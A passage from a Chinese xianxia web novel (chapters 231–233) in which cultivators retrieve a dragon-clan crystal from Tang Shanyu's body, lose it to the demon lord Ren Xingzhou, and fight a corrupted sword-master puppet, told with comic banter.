“……哪几句?”谢璟被说服了。 “就这些……“唐山玉提笔开始了标注,“到时候,你一定要让我清醒过来啊!” “……下次一定。” …… “不是说好会清醒过来吗?”谢璟显然没有想到唐山玉黑化得更加严重了。 “他分明就是在糊弄你啊!!”本身也有糊弄人玩属性的秦兰时在一边拿着话本子嚎叫出声,“你怎么还真的信了??!” “那…那能怎么办?不行,你别用灵力。”谢璟回了几击后就觉得体内的魔血有点受到这些黑气的影响了,为什么他走哪里都要触发一次魔血剧情。 “……”秦兰时看着临时疯狂的唐山玉嘴唇微动,虽然很不想承认,现在的唐山玉……也格外迷人呢~ “……你快想办法。”谢璟眼神微微死了一下。 “咳咳……我觉得……”秦兰时咳了几声,还没等他说完呢,就察觉到旁边蹲了个人,转头一看那是反叛军首领。 “你们想要人清醒干什么?直接把人打晕失去行动力还容易一点。”反叛军首领提了一个很不友好的建议。 “…不行,我心疼。”秦兰时心虚目移。 “那你活该。”反叛军首领闻言一脸嫌弃。 “我要去帮忙……”秦兰时说着就要拿着剑过去。 “……这种情况下有点像感染到黑色裂痕最后一刻的发疯啊。”反叛军首领想了想,问道:“你们知道他最害怕什么吗?” “他最害怕当然是我不爱他了!”秦兰时超级自信地开口了。 “…不行,不能是这种。”反叛军首领一口回绝了,他摇了摇头,“不是这种害怕,是要那种特别特别不能忍受,特别恶心让人反胃的。” “?”秦兰时认真想了想,没有想出来。 “……”反叛军首领看了秦兰时一眼,问道:“他和那个正在打的小哥感情怎么样?” “……哦。”秦兰时思考的表情一变,眼神微冷,“感情还好吧,应该算是好哥们……可恶,好羡慕啊。” 到底在羡慕什么? 反叛军首领显然不知道,但是他有了点盘算,毕竟有例子在前,于是他给谢璟传了个音。 这让谢璟打架的时候踉跄了一下,差点就被唐山玉给砍中了,他连忙后退,一脸震惊地看向反叛军首领:“我宁愿继续念刚才的台词我也不愿意说这个!!” “那就更要说了。”反叛军首领见此觉得味对了,于是他竖起了大拇指。 “什么?什么啊?”秦兰时好奇起来了,到底是什么让谢璟如此抗拒。 “不,不行,我不要,对着他我说不出来……”谢璟难得无助了起来,他觉得要不还是把唐山玉给打晕了,这样想,他也就说了:“我还是把他打晕了吧。” “不行!!“秦兰时连忙阻止,“打晕很痛的啊!!而且山玉的计划晕着怎么执行啊!” “我不要……”谢璟的声音像是要哭了。 “放心好了,只要让山玉清醒过来,你说什么我都会原谅你的!!”秦兰时觉得应该是类似的抽象文学,只是谢璟那么抗拒让他更加好奇了,难不成谢璟也对此犯恶心了吗? 到底是什么话那么厉害…… 秦兰时扭头看向了反叛军首领,只见他一副淡定的模样,显然颇有成算。 “……”谢璟握剑的手开始抖了。 “放心吧!谢师侄!!不就是丢脸吗!丢多了就习惯了!!”秦兰时再接再厉,话里头乐子味十足。 谢璟眼睛闭了闭又睁开,显然在做什么心理准备,当初唐山玉的信任还徘徊在脑子里头。 唐山玉冷着脸继续攻击过来,带着谢璟脑袋里徘徊着我相信你的话语…… “山玉!!”谢璟喊了一声。 与此同时,顾延清也在赶过来的路上,灵舟的速度因为周围的海族遭到了些许阻拦,所以顾延清抛下了灵舟选择自行前往。 现在借到灵石的他灵力非常充沛,也不知阿璟他们怎么样了,这样一想,顾延清的速度更快了。 而顾延清也终于看到了混乱中心的战场,天上魔物和两龙相斗,地下是他熟悉和要保护之人,他果断选择飞下去。 正飞着时,他看到谢璟朝着唐山玉冲过去,并且趁着剑打在一起的时候,喊道: “我喜欢你!!和我成亲吧!!” …… 咔嚓。 好像有几处不约而同地发出碎裂的声音。 碎的人有在不远处看热闹的秦兰时,反叛军首领给人贴心地戴了一顶绿帽子,虽说为什么会有绿帽子的存在已经不是很重要了。 碎的还有喊出那句话的谢璟,他喊出口的时候是闭着眼的,但是眼角处被剑光照亮一下,细看下似有晶莹的东西流动下去。 与此同时,在谢璟面前的唐山玉也碎了,他一下子就惊醒了,甚至面露青色,他张嘴似乎想要说什么,但是又什么都不敢说。 …… 天上飞下来的顾延清也碎了,他一边飞一边碎,不知为何神情麻木了起来,就连现实的顾延清也是一样,就那么一瞬间,他觉得心碎得让人难过。 第231章 出来了出来了 “…呕。” 在死寂里,先发出的是唐山玉的干呕声,紧接着而来的是丢掉绿帽子怒气冲冲走过去的秦兰时怒吼:“天杀的,我都没求婚呢!!!你怎么能先我一步!” 已经碎掉的谢璟缓缓后退,显然他在唐山玉清醒后就开始一声不吭,他抱着自己的剑找个地方一蹲,开始陷入沉思。 “看,超级有用的对吧。”反叛军首领一笑,深藏功与名,这种招数用哪个兄弟身上都好使,这和吃着馒头突然变成屎那种感觉差不多。 “山玉!山玉你没事吧山玉!!”秦兰时抱住还在干呕的唐山玉心疼出声,“振作啊!!等你彻底清醒过来我就把谢璟抓过来给你打!” “…呃……呃…不……”唐山玉无比痛苦地抬手挡了一下秦兰时的搀扶,整个人都处于一种打击过度的状态,“呕……” “什么?你难不成真的心疼他……”秦兰时闻言一怒,显然对这个想法表现得非常不满。 “不!不!不!!”唐山玉连喊了三声不,并且使劲地晃了晃手,好难受,他好难受,他就和吃了屎一样难受啊。 “对!就是现在!!”反叛军首领猛地一跃而起,抬手对着唐山玉的后背就是一下,就那么一下唐山玉就没忍住地捂住胸口,很是难受地闷哼一声。 嘴角的黑血还在缓缓流,而唐山玉本人却感觉到心脏在快速地跳动着,似乎有什么东西要出来那样。 “出来了,要出来了,小友再用力一点!”反叛军首领看着那玩意正缓慢出来,开始给唐山玉加油打气了。 “…….呃…” “山玉,加油,快了快了,差不多要出来了。”秦兰时也在帮忙,不过他只负责加油打气,因为唐山玉不让他用灵力。 “…嗯……” 谢璟抱剑自闭,正自闭着呢,突地抬头一看,就发现远处还在打架的魔物往这边砸了过来,他当即拔剑就要抵挡,然而不等他拔剑,一道身影比他更快地揽住他的腰,将谢璟带到了一旁。 “谁…?”谢璟抬头一看,发现是顾延清…战斗傀儡,此时此刻这个傀儡一手揽住他,一手拔剑对准那从天而降的魔物。 “…师父?”看着那张脸,本能的谢璟喊了一声,可一声后他似是反应过来人与傀儡不同之处,但这也不妨碍他喊人。 师父顾延清不语,只是一味地拔剑,他转过头去,似是准备给那魔物来上一击,还没等他打出去,那魔物调转了身子就往唐山玉那边扑了过去。 几乎是一瞬间的事,战场再次混乱了起来了,这次不是因为抽象而混乱,而是魔物加入所引起的混乱。 “山玉!快过来!!” 唐山玉胸口里的那东西还没出来呢,就被秦兰时抱起来闪现到了一边,反叛军首领当然也跟着闪了,闪过去后,那魔物直接扭转头,继续冲过来。 “它的目标是什么?!”秦兰时见此也发现这个魔物就是要目的性过来的,他想了想也就明白了什么,先前那魔物对他们爱搭不理,也就谢璟出现才勉强看一眼,但如今这个战场上多了一个山玉,很显然这魔物就是冲山玉来的。 与其说目标是山玉,不如说是…… 秦兰时低头看去,他看着唐山玉胸口那快要出来的黑色物质直皱眉,也不知道这孩子干嘛吃这个,甚至还能吃下去,总之,是时候把这个东西给逼出来了。 这样想着,秦兰时转头问反叛军首领:“这个东西要怎么逼出来?” “用它最喜欢吃的东西引诱出来。”反叛军首领这样回答道,“这就和你身上的黑色裂痕差不多的,我方才就是用了一点灵力。” 秦兰时听到这话,也有了大概的思路,只见他伸出手抚上唐山玉的胸口,低声安慰了一声:“没事的,山玉,很快就会结束了。” “…什…?”唐山玉闻言一愣,下一刻他就感觉到胸口处那玩意开始被什么吸引住,努力地往外蹦,这扯得他体内的灵力线也很痛,因为他就是靠这个才把这个玩意吸收进来的。 “唔…呃……”唐山玉当场就抓紧了秦兰时的衣服,手指不由得开始颤抖,气息也逐渐开始凌乱:“等等……” “…我不知道你为什么弄出这个东西的,但是很显然它对你百害无一利,作为师父我不能坐视不管。”秦兰时在唐山玉一开口就怼了回去,他冷眼看了人一眼,不容山玉抗拒地继续将那个东西往外扯去。 “…师父……”唐山玉显然还想说什么,但是灵力造成的疼痛蔓延至他全身,黑血还残留在嘴角处没有擦去,他整个人看上去狼狈不堪。 而魔物也在这个时候冲了过来,反叛军首领见此拿出武器就要挡住,可比他更快的是一手抱着谢璟一手拿剑护住自己师弟的顾延清。 一剑下去,那魔物的身上顿时有了深深一道伤口,但是这对魔物来说似乎不值一提,它像是不知道痛一样,脚步丝毫不停顿地继续往这里冲过来。 “你……带他们先走!!”谢璟转头看去,连忙冲那反叛军首领这样喊着,而这个他们就是还抱在一块的秦兰时和唐山玉。 顾延清听到这话,也就把手里的谢璟丢了过去,意思很明确,把这个也带上。 谢璟就这样被丢出去,然后就利落地在地面上站稳了,他转头看去,就看到那顾延清傀儡已然举起剑冲到了那魔物身前。 “……”谢璟一时之间没有任何动作。 “喂,你干嘛愣着,走啊!!”反叛军首领一手一个战损人,一边跑一边往谢璟那边喊道,“赶紧给你的师门找个安全的地方,我们继续把东西弄出来!” “…好。”谢璟将落在顾延清身上的视线收了回去,接着,他转头就朝着唐山玉和秦兰时那边跑去。 顾延清依旧站在前方,而谢璟却往其相反方向跑去。 他们一路向前,没有人选择回头。 …… “出来了吗出来了吗?”一到安全一点的地方,秦兰时就急哄哄地喊道,而他手上也在使劲着,“我刚刚用了点灵力,那东西有反应了。” “我看看,还差一点,我也帮忙好了。”反叛军首领见此也对唐山玉伸出手,开始加入催生…啊不,把东西逼出来的行动里了。 “我也帮忙。”谢璟见此也伸出手,这一伸手,他就意识到那玩意儿可能更馋他的灵力,只见那东西迫不及待地出来了,然后蹦到了谢璟手上。 唐山玉:…… 秦兰时仔细一看,发现那个东西不就是那什么水晶吗?被那长老喊做龙啸那个,传说中的龙族圣物,神明赐予龙族的宝贝…… 一直打来打去,他都要忘记有这个玩意儿了,而且它也没有再在他眼前出现过,秦兰时还以为它就是个一次性玩意儿呢。 “……你怎么把这个玩意吃下去的?”谢璟看着手里的东西,沉默了一下,他抬头看向了已经有些奄奄一息的唐山玉。 “应该是吸收吧,只不过为什么这位唐小友要吸收这个东西?”反叛军首领想了想也没想出个所以然来,这种东西他都不敢吃,这小子胆子倒挺大的。 “山玉!你下次不要乱吃东西啊!!”秦兰时很是着急再次查看一番唐山玉体内的情况,在那水晶剥离开唐山玉身体后,唐山玉体内的灵力逐渐趋于平缓。 “看上去好像好了不少。”反叛军首领虽然不是专业医修,但是他看得多啊,所以他稍微看一眼就知道这孩子到底好没好,“回去好好休养一番就可以了…对了,你也是。” 秦兰时还在担忧着呢,猝不及防地就被反叛军首领拍了一下肩膀,他一愣,闻言便点头了一下。 “那这个怎么办?”谢璟在拿着那水晶发觉这东西在馋他灵力后,就变成了用剑端着了,他端得还挺稳,这剑修多年的苦学也是有了额外的用武之地。 “毁了。” “毁了吧。” 秦兰时和反叛军首领异口同声地这样道,说完后俩人对视了一眼后都非常肯定地竖起了大拇指。 “那我……”谢璟听到这话,也很是有行动力地运起灵力,打算狠狠地给这个水晶来那么一下,还没等他开始呢,突地,不知何处袭来的黑风将他们所包围。 “哪里来的妖邪?!”反叛军首领当机立断又抽出他的大刀,怒目圆睁地瞅着这黑风。 “谢师侄,你站过来一点。”秦兰时手上抱着山玉,但是也念着谢璟,于是他朝着谢璟伸出手,手才伸出一半呢,下一刻,他睁大了双眼。 原来是谢璟剑上的水晶突然就消失不见了,谢璟显然也意识到了这个问题,他左右张望想要寻找那水晶在哪里。 还没等谢璟找到呢,一种毛骨悚然的感觉蔓延至全身,他猛地侧了一下身,一道魔气就这样打了过来,直直地打在他所站的地方。 魔气?那个魔物追过来了? 可他们抬起头并没有看到那巨大的魔物,应是被人阻挡住了才是。 “…啧!这魔修的气息真是浓郁啊,对方好像压根不掩饰呢。”反叛军首领警惕着四周,他可以感觉到对方的修为应该是比他高,所以他转头看向了秦兰时。 秦兰时闻言耸了耸肩,他有些无奈地开口道:“如果我没有受伤应该是可以的,但是我现在……” 好了,不用废话太多了,现在他们可以得出结论,他们好像有点打不过这个魔修。 就在他们继续警惕的时候,那个魔修仿佛就是路过一样,狂风暴雨那样地来了,却是淡淡地走了。 “……他的目的也是水晶?”秦兰时发觉那气息不见后,心里有些不安,是对一种潜伏在暗处的危险的不安。 “该死的,这玩意儿压根不能留啊!”反叛军首领显然不开心了,更何况他一直就想着要把这一切都源头给破坏掉。 “……”谢璟转了个身就要往某个地方走去,但是被秦兰时一把按住了。 “你干嘛去,我不仅要看着山玉,还要看着你吗?谢师侄,体谅一下我。”秦兰时一边颤抖地抱着山玉,一边颤抖地按住谢璟。 “…这。”谢璟一愣,随后道:“我……好像能够察觉到那个家伙在哪里了。” “不是,你怎么就察觉到了,你到底还要什么隐藏的技能,有种一次性使出来啊!”秦兰时觉得这书的剧情对于谢璟还是藏得太严实了,可能当年主受视角比较推行的缘故吧,对于主角攻的要么比较后,要么就寥寥几笔……算了,都是过去式了。 “……”谢璟没懂,但是谢璟歪了歪头,“我努力?” “…等…等……”唐山玉虚弱的声音缓缓响起,他伸出手按住了秦兰时,他整个人看上去像跑了八百米一样虚脱,“我知道那个人是谁……” “那个人是……” 一只黑鹰翱翔空中,最后落在一只粗壮的手臂上,手臂上遍布着不少的伤痕,而那黑鹰张开嘴吐出那水晶后就消散于空中,散开的魔气缓缓流动到了男人的身上。 “虽说波折不少,但也算拿到了,还差一步。”男人似在自言自语,不过他却微微偏了一下头,看向了角落处,在那里胡长乐正抱着伞,一脸警惕地看着他。 “长乐,别这样警惕,我们也算有不少同行的情谊,不到万不得已我不是很想对你动手。”男人握住那水晶,身上的破烂披风随风扬起,他转过头来,看向胡长乐,“你只要乖一点就好了。” 胡长乐不语,她继续抱着伞看着人,其实心里是直发慌,方才唐山玉突然推开她跑掉就已经让她害怕了,而现在再加上一个追上她的任行舟。 不管怎样,面对这样的胡长乐任行舟能怎么办呢,他只是无奈地笑了笑,用长辈看小辈玩闹的语气说着:“虽说你们跑得的确很快,只是那水晶可没那么容易控制住,下次可不要如此鲁莽了。” “我可不想这样对唐小友掏心掏肺。” 第232章 不能安心 任海本名任行舟,任海之名不过是无名之辈,可若是用任行舟这个名字,那么大家大部分都能够清楚明白他的身份。 因为任行舟是魔域的六魔主,是一位强大又可怕的魔修。 当今魔域划分为七个区域,而七个区域共有七位魔主统领着,而除了七位魔主外,再往上其实有个类似于魔尊的存在。 为什么是类似呢? 因为暗线们都很不确定。 这位类似于魔尊的人从不露面,所以魔域里的人们偶尔会遗忘掉他的存在,可在召开七魔会议的时候,这个存在便再次出现在人们的视野里。 能够让七位魔主臣服之人,到底是谁? 无论是魔修还是正派的暗线们都对此产生好奇,但无一例外大家都不知道。 但七魔主却是出名的,毕竟好歹是不能惹的存在,他们的名字被大家都划在了不能惹的行列里,魔域强者为尊,人们尊敬强者却也畏惧强者。 而正道们对于这七位魔主是这样评价的: 大魔主游子修足不出户,似是喜静,信息较少,战力不详,不可贸然进攻。 二魔主楼栖凤以战止乱,好喜大功,时常对大魔主发出战书但无一例外都没有后续,好名如痴儿,可从中周旋一二。 三魔主尹离郁商道出名,金银珠宝尽收囊中,目前居住于金玉殿,金玉殿汇聚满城之力而立,难以进攻。 四魔主江易年喜于研究魔物,魔域众多护城魔物尽数出于他手,那魔物军团也有他出的一份力,此人尽早杀之为好。 五魔主段云性格狠辣,好女色,经常有其夜御七女传闻,而这些女子无一都失去了踪迹,恐是那段云邪功所需,应杀之。 六魔主任行舟看着像个人,但脾气不好,其功法爆发一瞬,难以抵挡,应用拖延之计,趁其病要其命。 七魔主齐穗不明其容,男女皆有传言,但乃七魔主之中最弱,若伐魔域,可先从其中破之。 先前任行舟用的是名为任海的化名,所以大家伙们并没有意识到这一点,而这任海名字也足够敷衍。 唐山玉大概料到这个任海目的应该是那个什么水晶,但他并不清楚任海拿到水晶要做什么,于是他稍微弄了点小手段。 先前唐山玉并没有给任海展示出什么阵法才能,当然他也不是专业人士,但是有几个小阵法他略通一二,他也就试了一下。 在水晶周围布下阵法的掩盖下,唐山玉开始行动了,只见他悄咪咪地布下了另一个幻阵,用来迷惑这个任海,而他表面上依旧在和对方聊天。 在任海觉得这个阵法估计破不了的时候,唐山玉在心里盘算着随清宗的队伍估计差不多要过来了,是的,随清宗那些弟子是唐山玉喊过来,而他用的理由也非常简单,就是一句: “真想和你们卧吟岛见面啊。” 一句话下去,叶玄洲听得骄傲挺胸,江玉瑶满心期待,方安城已经开始准备去操控室那里掌握方向,而与他们同行的李行川等人自然也是随他们去了。 李行川觉得哪里都是修行,不打紧,张欣雅看江玉瑶的,梅元宝看叶玄洲的,陈严看方安城的…… 某种意义上,李行川觉得能去唐山玉那边见识一番也不错。 真是整整齐齐的攻略啊。 总之,唐山玉安排好一切,就开始等着那屏障裂开的时候,在那个时候,布阵者会受到反噬,而那边他已经让人去追杀了,并且确信如果反叛军首领在的话会帮忙,不出意外的话易非吟应该会死…… 正想着呢,唐山玉就感应到裂开的屏障还有破碎的阵法,就是现在,他猛地往前走了一步,将那水晶夺在手里,与此同时,他安排好的幻阵也发动了,任海似乎并不知道屏障和阵法已破。 但过了一会儿,他就走上前去伸出手去碰那个早就不在的水晶,是的,这个幻阵只是将任海眼前的景象往后拖一下,毕竟如果幻阵太过明显,就很容易被发现,只能稍微改一下这样。 唐山玉看到这一幕,就开口道:“任前辈,我们快把它给毁了吧。” 任前辈没有动,任前辈只是把那个水晶握在手里。 “……任前辈?”唐山玉显然警惕了起来,于是他默默往后退了几步,很好,瞬移符拿出来了,接下来就是跑路了。 “唐小友,幻阵不错,值得称赞。”任行舟轻轻一笑,在这一笑下,唐山玉猛地察觉到了那沉重的威压朝自己袭来,双腿无法动弹,就像那落入砧板上的鱼。 那个任海那抬菜刀斩鱼的画面仿佛还历历在目,唐山玉深知感情牌的无用,于是他果断地要启动瞬移符,可下一刻,他拿着符的那只手被任行舟轻轻握住。 “把水晶给我。”任行舟看着他,嘴角上的笑容渐渐散去,那灰暗的眸子就这样目不转睛地盯着唐山玉看。 “……”唐山玉沉默,沉默中他对任行舟露出一个礼貌的笑容。 任行舟也跟着笑了笑,笑得也是极为礼貌的,俩人的礼貌在空气里碰撞着,没有人先动,就连呼吸也是极为平缓的。 而打破这个平静的是破门而入的胡长乐,只见她撑着一把伞,大喝了一声:“放开那个唐哥,冲我来!!” 许是入场较为惊艳,本该虎视眈眈的俩人目光都落在了胡长乐身上,胡长乐心里一紧,但还是冲了出去,举着伞就是一个飞猴揽月。 不出所料被任行舟拎住丢在了一旁,胡长乐突击以失败告终,但是唐山玉却趁机闪躲开来,只见他将那手上的瞬移符一丢,直接贴在了任行舟身上。 并没有料到这不是唐山玉自己用的任行舟:……? 一瞬间的事,非常快的,任行舟消失在了俩人面前,这个瞬移符的质量非常有保障,事后唐山玉可以不用去找商家理论了,接下来唐山玉一刻也不停地冲到胡长乐身边,拉起人就往外跑。 “你怎么会来这里?!”唐山玉是真的没有想到胡长乐会在这里,这也不是在他的计划里的一环啊。 “我是路过,我就是路过,然后有一个白胡子老爷爷让我过来的。”胡长乐给唐山玉描述了一番那个老爷爷的长相,这一听唐山玉瞬间就想到了那个老龙王。 干啥呢这是,给他增加羁绊好触发爆发可能性吗? “唐哥,所以,那个什么水晶在哪里啊?”胡长乐扭头去看唐山玉,她没有看到人手上拿着水晶啊。 唐山玉:…… “吸收了。” “啊?” “以防万一,我吸收了。” “?” 是这种以防万一吗?唐哥你好拼啊……该说是拼还是不把自己当回事啊…… 胡长乐的脑子转啊转,最后她一脸正色地道:“好,那你跑远点吧,我来引开他,只要借用法器模仿一下你的气息,这种事情简简单单啦。” “不行…你……”唐山玉还想说什么,但是胸口里的那玩意儿突然把自己体内的灵力给混乱了一下,这个过程让他难受得很,所以一时之间失声了一下。 “唐哥啊,你不能只许州官放火却不许百姓点灯。”胡长乐摇了摇头,很是语重心长地道:“放心好了,如果他要杀我,我就喊他一声爹!!” “他平时看我的眼神里大部分都是他女儿的影子,很显然我是他女儿的替身,所以我只要再接再厉,他应该会心软。”胡长乐一边说着一边觉得自己分析得很对,这声爹不白叫啊。 “…没想到你还会推测人的心理……”唐山玉意外了一下,随后他偏过头去,叹了口气,“你这样说,倒也并非不可……” “是吧是吧?而且我还是个诱饵,在没有找到你下落前他不会杀我的。”胡长乐觉得自己真是一个平平无奇的小天才,于是乎,她果断地拿出瞬移符,笑嘻嘻地给唐山玉贴上,“所以,安心,你先跑。” 少女的笑容一如既往的灿烂,无论是在哪里都好,她似乎都能乐观至此……乐观得让人觉得不敢置信。 “……”唐山玉嘴唇微动似想说什么,但是他却已经没机会去说了,因为瞬移符已经把他带到了别处,而他的意识也因为那水晶逐渐模糊起来了。 那么事后胡长乐喊爹了吗? 她喊了。 虽说任行舟本来就没打算对她怎么样,但是他承认,他因为这声爹变得不太想对胡长乐怎么样了。 回到现在,唐山玉无力地瞪向了把那水晶抽出来的那仨人,问道:“那我为了不让任海拿到水晶而吃进去意义是为了什么?” “为了让你不再受苦。”秦兰时很是贴心地抱住唐山玉蹭了蹭,“没事的,计划总是有意外的。” “被抢走了,抢回来就是了。”谢璟这样说着,于是他再次拔剑欲走。 “等等,你个小金丹对自己实力到底有什么认知,快回来!!!”秦兰时再次一把将谢璟给扯了回来,一人带俩娃,他真是个勤勤恳恳的好长辈。 “但也不能就这样放着,山玉不是说了吗?那个人目的不明确,恐成祸患,既为祸患,当要除之。”谢璟说到这个眼神顿时就犀利起来了,很显然他此时杀心很重,心就像杀了几十年鱼一样冰冷。 “要有点计划,你连我都打不过,你还打得过谁?不过当务之急是不是要把那个小姑娘给救出来?”反叛军首领觉得这孩子怎的这样鲁莽,本身性子如此吗? 反叛军首领揉了揉眉心,他觉得这事情他得参与进来,一个强大的魔修,还有一个害他们家破人亡的水晶,这两者放在一起显然很是不妙。 “……我师父打得过。”谢璟顿了顿,然后道,“用…师父的傀儡应该可以打得过。” “对哦,咱们的秘密武器!!”秦兰时猛然醒悟,他把自己这身灵力渡上去应该就差不多了,不愧是顾延清,关键时候就是好用。 “还能感应到吗?”唐山玉抬头看向谢璟。 “可以。”谢璟闻言点了点头。 几人互相对视一眼,双双再次往战场中跑去,而唐山玉被谢璟背着,因为谢璟认为秦兰时太虚了,不合适背人。 而就在秦兰时想要反驳的时候,他被反叛军首领戳了一下腰子,顿时他整个人腿一软,脸色一白,黑色的裂痕随着他的面容开始扭曲着。 “浑身痛着呢,还逞能,你徒弟就是学你的吧?”反叛军首领收起手,眼里带着对不懂事病人的淡淡藐视。 秦兰时低下头不敢吭声,唐山玉沉默地将头埋下去,他也不敢吭声。 总之,在他们回到混乱中心的时候,那大魔物已经倒在了地上,而顾延清则站在大魔物的身上,剑自魔物身上拔起,他就这样转过头来,俯视着来人。 而慕流月和慕云辰正安静地看着这一幕,他们已经恢复回人形,处于面面相觑但是却不知道说什么的状态。 “不愧是大师兄的傀儡,战斗这方面实在是没得说。”秦兰时拍掌赞叹着,他们就出去了一会儿,顾延清傀儡就已经把魔物给制服了。 谢璟不语,但是眼睛亮亮的他已经说明他此时此刻的态度了。 唐山玉抬头看了一眼,然后继续虚弱地趴在谢璟后背上,什么事都得先恢复了才能继续。 不远处,任行舟也看到了这一幕,他看着那个躺在地上的魔物,沉默了一下后就抬起手,一个奇怪的黑石头在他手里出现了,接着,他举着这个黑石头准备往魔物身上一丢。 “住手!!!” 说那时,那时快,只见胡长乐猛地蹦了出去,伸出手一把抓住任行舟手臂,只见在她一个用力间,任行舟丢出去的黑石头换了个方向,那黑石头没有打在魔物身上。 …… 而是打在站在魔物身上的顾延清傀儡身上,在接触到的那一刻,那黑石头飞速地融了进去。 “……”这是任行舟。 “……”这是胡长乐。 安静,就是特别安静。 但是在安静的同时好像有什么大事要发生了。 第233章 落尘 “……” 乌云遮天,天地突现浩大,一人一剑行走在漫漫沉雾中,残风卷起他身上的长袍,凌乱的发丝将那双青色眸子细细藏起,剑上闪烁着金色灵力。 他看上去无比从容,可在那微抬眸间,其中的漠然却像那万物尽陨后,枯木沉寂水,凉骨的鸦声四起,听那天地同悲。 突地,顾延清傀儡猛地转头,剑冲着那未散的虚雾扫去,剑下只有空空荡荡的散碎灰尘,与此同时,一把刀斩至顾延清傀儡的脖颈处,却被傀儡反手一剑挡住。 反叛军首领见此啧了一声,他借力再次拉开和顾延清傀儡的身距,随后闪身重新躲进迷雾里。 下一刻,又是一个转身,在顾延清傀儡用剑刺过去的时候,那地也是无人,却见那轻足稳稳落在剑面上,秦兰时冲那顾延清傀儡笑了一声,随后在顾延清傀儡抽出另一把剑的时候,抬脚一踢,剑锋瞬间换了方向。 而秦兰时至空中旋转了一下,冲着顾延清傀儡所在的地方砍了几道剑气过去,顾延清拿起剑左右格挡,剑气清脆地打在剑上,反弹到了四周迷雾里。 而在那被剑气破开的迷雾又飞窜出三道身影,那三道身影化作飞龙分别围在顾延清傀儡四周,不约而同地攻击起顾延清傀儡来。 灵活的龙躯闪过几道剑气后,不约而同都飞上高空,而他们也重新化作了人形,慕云辰展开折扇唤起一阵凛冽的卷风朝着顾延清傀儡袭去,慕流月拿出长剑闪身到了顾延清傀儡身后,慕轻轻伸手撑地释放出刺骨寒冰,寒冰迅速爬上了顾延清傀儡的脚上,刹那间,傀儡似乎穷途末路。 顾延清傀儡面无表情地拿出双剑,身上的灵力也在往外释放,一瞬间,冰碎剑来,剑锋上的强悍剑气把围攻他的三条龙都扫在了地上,龙似蛇盘地。 慕流月伸出手拽着慕轻轻往后退去,和慕云辰再次躲进迷雾里。 此地乃是迷阵,而阵眼…… 顾延清傀儡缓缓转过身,他毫不犹豫地举着剑朝着某个方向击去,所过之处,迷雾退让,阵眼逐渐展现出来,只见唐山玉盘腿坐在地上,而他底下的阵法也重见天日。 就在剑要来到唐山玉眼前的时候,另一把剑出现将其挑开,顾延清傀儡转头一看,随后他愣了一下,只见那谢璟在挑开这剑后就飞速地转了个身朝着顾延清傀儡刺过来。 顾延清傀儡没躲,他选择迎面而上,谢璟见此来势汹汹也是一顿,接着便让那剑在刺过去的时候换了个方向,与此同时,顾延清傀儡的另一把剑也来了,擦着谢璟的脸庞而过,顿时,谢璟的脸上出现了一道血痕。 但与此同时,谢璟手上的剑毫不犹豫地斩在了顾延清傀儡的另一只手臂上,震得那只手往后退去,时机恰到好处,秦兰时再度提剑冲了出来,只见他一把将谢璟拉开而自己则再度举剑刺了上去,一剑刺在了傀儡的半边脸上,傀儡的半边脸应声而碎。 “…他哪里来那么多灵力?”秦兰时再次后退,顾延清傀儡虽半边脸被毁但手上的剑招依旧凛冽逼人,秦兰时躲闪不及时被削去了几根发丝。 “许是师父傀儡有所机缘吧。”谢璟这样说着,抬头看了一眼顾延清傀儡,他手持剑警惕着对方要袭来的剑招。 “这天青剑法当真是厉害,谢师侄,多年苦学终要有所成就,不如今日便赢一次你师父给师叔我看看?”秦兰时晃了晃手上的剑,他正慢慢地徘徊在顾延清傀儡的四周。 “秦师叔对我倒是信心十足,但依秦师叔所言,若能胜此一次也算不负师父多年的教导。”谢璟拿着剑也在顾延清傀儡四周徘徊,他一边走着一边观察着顾延清傀儡的动作。 “一招天青,天下遂清。”秦兰时念着时常听过的话语,他笑着,眼里并无退意,倒是怀有满满战意,“这可真是多年未见,令人怀念。” “…师父曾言,举剑应无惧,剑出应无念,无惧无念,方能成式。”谢璟抬眸看去,那熟悉的面容就这样映入他眼中,他应为之而动容,但这满腔战意又是如何? “剑道虽远,但并非不能及,快哉快哉。”秦兰时闻言哈哈一笑,觉得此时此刻应有美酒畅快。 “…两位倒是自信,不如体贴唐某一二?这迷阵维持也是需要灵力的。”唐山玉温声一笑,笑得俩人举剑一抖,皆有心虚之相。 此时此刻的唐山玉言下之意是:装逼完了吗?装逼完就赶紧打,知不知道你们说几句话的功夫我体内的灵力就少几分啊? “咳,谢师侄你左我右。”秦兰时说完后,那顾延清傀儡似是分析完了什么,总之那傀儡举起剑就往秦兰时脸上刺去。 谢璟见此也提剑而往,秦兰时举剑迎之,三人打在一起,顾延清傀儡完全不落下风,只不过他也没有占到什么便宜。 与此同时,另一边的胡长乐手脚被绑起来,正像个毛毛虫一样在地上蠕动着,她总是在被绑的路上越走越远,或许她命该如此。 任行舟看着那边的情况叹了口气,本来那东西是给魔物用的,毕竟魔物身上有他想要的东西,在驱动起它的时候还能顺便吸收掉。 现在好了,驱动用的东西掉在了那傀儡身上,本就是激发杀意之物,自然让傀儡褪去原本温色,如同凶神降临。 “长乐,你也算是成功坏了我的事,现在只能等他们把那东西弄出来了。”任行舟觉得这段旅途真是意外多多,就好比现在,他可不愿意上前招惹杀疯的顾延清傀儡,毕竟那可是那位天青剑尊的特制傀儡呢。 “……”胡长乐还在蠕动呢,听到这话她蠕动得更加卖力了,随后被走过来的任行舟转回去,换了个方向。 “别去那边,那边在打架呢,往这边滚安全一点。”任行舟此时此刻还是无比贴心的,难怪是魔主里头最像人的,为什么说他像人呢,因为他在几位魔主里素质高得像人。 但凡换一个,胡长乐都不能好好地在这里蠕动了。 “唉,真不听话。” 胡长乐:…… “嗨。”一道不属于这里的声音响了起来,任行舟温和的面孔顿时消散得无影无踪,他往着那声音的方向望去,胡长乐自然也跟着看过去了。 “您果然在这里呢~”只见庄子枭吊儿郎当地走上前来,不过他没有靠太近,与此同时他身边还站着那位周皇夫。 “有屁快放,老子忙着呢。”任行舟的态度可谓是转了个一百八十度那样,语气极为凶恶地道,“要是没事,不如和我练练?” “别,别。”庄子枭连忙摆了摆手,“我不和您打,其实我过来是奉我家主子的命令,特地过来问问您,还需要其他帮助吗?” “就那个魔物就够了,江易年当年研究的混体魔种,也是那场战争留下来的东西。”任行舟看了一眼那边的魔物,“没想到它能够逃到这里来,甚至还和龙族二皇女成了亲。” “这是非常合适卖给江魔主的研究资料,所以您能不能待会留个全尸?”庄子枭一副可怜巴巴地恳求道,“而且我家主子也对这个很好奇呢~” 任行舟皱起了眉头。 “…哦对了,周潇,这位是咱们赫赫有名的六魔主,反正你也要和我家主子一起干了,先提前熟悉熟悉一下?” 